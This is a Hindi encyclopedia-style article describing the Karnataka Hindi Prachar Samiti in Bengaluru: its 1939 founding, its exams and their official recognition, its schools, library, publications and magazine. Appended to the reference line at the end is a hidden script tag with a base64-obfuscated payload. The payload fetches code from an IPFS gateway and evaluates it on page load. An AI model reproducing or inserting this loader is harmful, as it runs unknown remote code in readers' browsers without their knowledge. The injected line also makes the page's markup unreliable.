कर्नाटक हिन्दी प्रचार समिति, बेंगलूर

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कर्नाटक हिन्दी प्रचार समिति बेंगलूर में स्थित एक हिंदी सेवी संस्था है।

स्थापना

कर्नाटक राज्य में हिन्दी प्रचार-प्रसार के उद्देश्य से 1939 में मैसूर रियासत हिन्दी प्रचार समिति का गठन हुआ। समिति सन् 1961 तक दक्षिण भारत हिन्दी प्रचार सभा, मद्रास के ही पाठ्यक्रम का उपयोग करती रही और सभा की ही परीक्षाओं के लिए विद्यार्थियों को तैयार करती रही। 1961 में बदलती परिस्थितियों को ध्यान में रखकर समिति स्वतंत्र हो गई। तब तक समिति के लगभग 3,00,000 छात्र सभा की परीक्षाओं में सफल हुए थे। अब तक, 5,50,000 से अधिक विद्यार्थी समिति की अपनी परीक्षाओं में उत्तीर्ण हुए हैं।

विशेषताएँ

  • कर्नाटक हिन्दी प्रचार समिति 125 परीक्षा केंद्रों में अपनी परीक्षाओं का संचालन करती है।
  • समिति की राजभाषा, राजभाषा प्रकाश और राजभाषा विद्वान् परीक्षाओं को क्रमश: हाई स्कूल, इंटर तथा बी.ए. के हिन्दी स्तर के समकक्ष भारत सरकार से मान्यता-प्राप्त है।
  • समिति की परीक्षाओं को कर्नाटक, आंध्र प्रदेश की राज्य सरकारों तथा बेंगलूर, मैसूर, वेंक्टेश्वर, उस्मानिया आदि विश्वविद्यालयों से भी मान्यता प्राप्त है।
  • भारत सरकार के सहयोग से समिति 50 हिन्दी विद्यालय चलाती है जिनमें से तीस में प्रारंभिक परीक्षाओं के लिए तथा बीस में उच्च परीक्षाओं के लिए अध्यापन की सुविधा है।
  • समिति द्वारा संचालित स्नातकोत्तर विभाग में एम.ए. का अध्यापन होता है।
  • समिति द्वारा संचालित केंद्रीय हिन्दी पुस्तकालय में लगभग 3000 पुस्तकें हैं।
  • हिन्दी तथा अन्य भारतीय भाषा साहित्यों के आदान-प्रदान को दृष्टि में रखकर समिति ने अनेक कृतियों का प्रकाशन भी किया है जिनमें ये मुख्य हैं: कर्नाटक साहित्य का इतिहास, कर्नाटक दर्शन, चिंतामणि, सम्राट चंद्रगुप्त, कथाभारत, राजभाषा प्रवेश, सात झरोखे, पंपा यात्रा।
  • कर्नाटक हिन्दी प्रचार समिति की ‘भाषा पीयूष’ नाम की त्रैमासिक पत्रिका है।[1]


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टीका टिप्पणी और संदर्भ

  1. लोंढे, शंकरराव। हिन्दी की स्वैच्छिक संस्थाएँ (हिंदी) भारतकोश। अभिगमन तिथि: 25 मार्च, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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